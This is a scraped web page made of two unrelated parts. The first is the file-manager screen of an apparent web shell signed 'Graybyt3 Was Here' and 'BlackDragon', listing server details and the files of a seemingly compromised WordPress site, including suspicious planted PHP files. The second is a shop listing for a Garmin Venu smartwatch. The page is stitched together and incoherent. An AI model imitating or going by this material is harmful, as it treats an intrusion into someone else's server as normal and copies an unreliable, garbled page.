Graybyt3 Was Here

 Linux rebec 6.1.64 #1-NixOS SMP PREEMPT_DYNAMIC Tue Nov 28 17:07:23 UTC 2023 x86_64
 Apache/2.4.58 (Unix)
 127.0.0.1

*ReClick For Close
File : BlackDragon /index.php
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1042/54 0755 2024-03-28 03:28:07
.well-known dir - 1042/54 0755 2021-09-28 03:24:00
5abc3 dir - 1042/54 0755 2024-03-26 12:40:46
doc dir - 1042/54 0755 2024-03-26 12:40:47
wp-admin dir - 1042/54 0755 2024-03-26 12:40:47
wp-content dir - 1042/54 0755 2024-03-28 08:38:00
wp-include dir - 1042/54 0755 2024-03-29 10:34:37
wp-includes dir - 1042/54 0755 2024-03-26 12:40:47
.htaccess text/plain 614 B 1042/54 0555 2021-12-31 03:28:07
Alyce text/plain 2.58 KB 1042/54 0644 2024-03-22 11:10:49
Linnie text/plain 389 B 1042/54 0644 2024-03-24 07:27:01
Ophelia text/plain 483 B 1042/54 0644 2024-03-25 10:01:48
Philip Braddockr text/plain 851 B 1042/54 0644 2024-03-27 11:42:23
ProdvigenieST text/plain 3.05 KB 1042/54 0644 2024-03-23 12:17:19
Robertvag text/plain 688 B 1042/54 0644 2024-03-23 04:50:32
Yanira text/plain 580 B 1042/54 0644 2024-03-23 07:55:56
admin.php text/x-php 18.79 KB 1042/54 0444 2022-02-02 12:40:47
defaults.php text/x-php 145.9 KB 1042/54 0444 2022-03-06 12:40:47
hsduih.php text/x-php 306 B 1042/54 0644 2024-03-25 05:43:47
index.php text/x-php 13.78 KB 1042/54 0444 2021-09-30 12:40:47
index.php0 text/x-php 3.78 KB 1042/54 0644 2022-01-13 12:40:46
install.php text/x-php 70.4 KB 1042/54 0444 2022-04-24 12:40:47
license.txt text/plain 19.45 KB 1042/54 0644 2023-11-28 02:22:04
php.ini text/plain 78 B 1042/54 0644 2024-03-20 11:39:04
randkeyword.php text/x-php 11.67 KB 1042/54 0644 2024-03-28 06:16:34
readme.html text/html 7.23 KB 1042/54 0644 2024-01-31 06:10:44
robots.txt text/plain 494 B 1042/54 0444 2021-09-16 12:40:47
ronaldEreby text/plain 1.04 KB 1042/54 0644 2024-03-26 10:20:03
shop.php text/x-php 9.97 KB 1042/54 0444 2022-08-19 12:40:47
wp-activate.php text/x-php 7.04 KB 1042/54 0644 2023-11-28 02:22:04
wp-blog-header.php text/x-php 351 B 1042/54 0644 2021-07-05 08:40:59
wp-comments-post.php text/x-php 2.27 KB 1042/54 0644 2023-11-28 02:22:04
wp-config-sample.php text/x-php 2.94 KB 1042/54 0644 2023-04-24 09:35:41
wp-config.php text/x-php 3.83 KB 1042/54 0400 2022-04-13 08:17:51
wp-cron.php text/x-php 5.51 KB 1042/54 0644 2023-11-28 02:22:04
wp-links-opml.php text/x-php 2.44 KB 1042/54 0644 2023-04-24 09:35:41
wp-load.php text/x-php 3.83 KB 1042/54 0644 2023-11-28 02:22:04
wp-login.php text/x-php 49.73 KB 1042/54 0644 2024-01-31 06:10:44
wp-mail.php text/x-php 8.33 KB 1042/54 0644 2023-11-28 02:22:04
wp-settings.php text/x-php 25.79 KB 1042/54 0644 2023-11-28 02:22:04
wp-signup.php text/x-php 33.58 KB 1042/54 0644 2023-11-28 02:22:03
wp-trackback.php text/x-php 4.77 KB 1042/54 0644 2023-11-28 02:22:03
xmlrpc.php text/x-php 3.08 KB 1042/54 0644 2023-11-28 02:22:03
zpanel-v2.0.zip text/plain 19.47 KB 1042/54 0444 2022-05-13 12:40:47
zvc-tabs6.zip text/plain 26.98 KB 1042/54 0444 2022-06-09 12:40:47
© BlackDragon
Garmin 010-02173-11 Venu, GPS Smartwatch with Bright Touchscreen Display, Features Music, Body Energy Monitoring, Animated Workouts, Pulse Ox Sensor and More, Black – Fitness Technologies
- 44%

Garmin 010-02173-11 Venu, GPS Smartwatch with Bright Touchscreen Display, Features Music, Body Energy Monitoring, Animated Workouts, Pulse Ox Sensor and More, Black

$196.00

Added to wishlistRemoved from wishlist 0
Add to compare
Category: Tag:


Price: $349.99 - $196.00
(as of May 17,2022 14:38:28 UTC – Details)



Beautiful. Detailed. Alive. The venue GPS smartwatch features a bright, beautiful display and a battery life of up to five days, so you can spend more time doing the activities you love. Get on-screen, Animated cardio, strength, yoga and Pilates workouts right on your wrist. With the broadest available range of all-day health monitoring features — including respiration tracking, body battery energy monitor, stress and more — venu can show you the full picture of your health in vivid detail. Keep your phone and wallet at home, because this watch lets you download music for phone-free listening and pay from the wrist using Garmin pay contactless payment solution (available for supported cards from participating banks).
The broadest range of all-day health monitoring features keeps track of your energy levels, respiration, menstrual cycle, stress, sleep, estimated heart rate and more
Easily download songs to your watch, including playlists from Spotify, Amazon music or Deezer (may require a premium subscription With a third-party music provider), and connect with headphones (sold separately) for phone-free listening
Record all the ways to move with more than 20 preloaded GPS and indoor sports apps, including yoga, running, pool swimming and more
Get easy-to-follow, animated cardio, strength, yoga and Pilates workouts right on your watch screen. Smartphone compatibility-iPhone, Android

Garmin 010-02173-11 Venu, GPS Smartwatch with Bright Touchscreen Display, Features Music, Body Energy Monitoring, Animated Workouts, Pulse Ox Sensor and More, Black
Garmin 010-02173-11 Venu, GPS Smartwatch with Bright Touchscreen Display, Features Music, Body Energy Monitoring, Animated Workouts, Pulse Ox Sensor and More, Black

$196.00

Fitness Technologies
Logo
Compare items
  • Total (0)
Compare
0
Shopping cart